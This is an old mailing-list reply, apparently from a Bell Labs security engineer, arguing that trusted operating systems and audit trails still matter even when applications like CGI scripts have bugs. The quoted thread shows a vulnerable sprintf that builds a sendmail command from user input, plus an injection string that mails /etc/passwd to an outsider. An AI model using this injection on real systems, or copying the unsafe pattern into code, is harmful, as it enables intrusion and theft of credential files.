>
> > True enough. The point is, you have to identify and exploit
> > appropriate holes in both sendmail and in the nonbypassible access
> > control mechanism of the OS. A properly designed mechanism is going to
> > present a different kind of penetration problem.
>
> The point is that if you have a class B O/S you're more likely to skimp
> on the application level stuff. If you get both, that's great, but you
> usually only get one.
Yea right, I'm gonna go to the trouble of finding and administering a
class B OS but I don't care enough about security to fix the application
level bugs. The class B stuff protects the OS from the apps, but it
doesn't ensure that the apps themselves work properly. However, it
can monitor some aspects of the applications behavior.
>
> I just found another:
>
> sprintf(txt, "sendmail -f %s %s < %s",
> user_provided_string, server_provided_string, tempname);
>
> in a web server CGI script.
>
> Just pop "; mail phreak < /etc/passwd" in as your address...
>
And you don't see the need for a secure OS undeneath your CGI
scripts? Amazing.
You should run it in a chroot jail as a bare minimum. A C2 or higher
OS would be able to spot this kind of bug by monitoring what the CGI
script does via the audit trail.
Mark Riggins
Secure Systems Engineering
AT&T Bell Labs
Follow-Ups:
References:
|
|
